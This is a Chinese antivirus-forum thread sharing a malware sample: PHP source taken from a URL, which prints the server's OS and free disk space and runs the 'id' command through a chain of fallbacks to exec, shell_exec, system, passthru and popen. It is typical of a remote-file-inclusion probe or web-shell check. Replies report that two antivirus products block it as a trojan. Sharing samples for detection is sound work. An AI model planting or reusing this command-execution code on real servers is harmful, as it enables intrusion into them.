查看: 1367|回复: 2
收起左侧

[已鉴定] http://www.howtowin.com/id.txt

[复制链接]
是昔流芳
发表于 2011-7-10 21:55:04 | 显示全部楼层 |阅读模式
  1. <?
  2. $dir = @getcwd();
  3. echo "billgate<br>";
  4. $OS = @PHP_OS;
  5. echo "OSTYPE:$OS<br>";
  6. $free = disk_free_space($dir);

  7. if ($free === FALSE) {$free = 0;}

  8. if ($free < 0) {$free = 0;}
  9. echo "Free:".view_size($free)."<br>";

  10. $cmd="id";
  11. $eseguicmd=ex($cmd);
  12. echo $eseguicmd;

  13. function ex($cfe){
  14. $res = '';
  15. if (!empty($cfe)){
  16. if(function_exists('exec')){
  17. @exec($cfe,$res);
  18. $res = join("\n",$res);
  19. }
  20. elseif(function_exists('shell_exec')){
  21. $res = @shell_exec($cfe);
  22. }
  23. elseif(function_exists('system')){
  24. @ob_start();
  25. @system($cfe);
  26. $res = @ob_get_contents();
  27. @ob_end_clean();
  28. }
  29. elseif(function_exists('passthru')){
  30. @ob_start();
  31. @passthru($cfe);
  32. $res = @ob_get_contents();
  33. @ob_end_clean();
  34. }
  35. elseif(@is_resource($f = @popen($cfe,"r"))){
  36. $res = "";
  37. while(!@feof($f)) { $res .= @fread($f,1024); }
  38. @pclose($f);
  39. }}
  40. return $res;
  41. }

  42. function view_size($size)

  43. {

  44. if (!is_numeric($size)) {return FALSE;}

  45. else

  46. {

  47.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}

  48.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}

  49.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}

  50.   else {$size = $size . " B";}

  51.   return $size;

  52. }

  53. }

  54. exit;

复制代码
魔子戒
发表于 2011-7-11 21:05:18 | 显示全部楼层
卡巴斯基KIS2012直接拦截。有木马程序。。
QQ拼音截图未命名.png
klinxun
发表于 2011-7-14 00:25:00 | 显示全部楼层
趋势拦截了

您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-1 06:35 , Processed in 0.132962 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表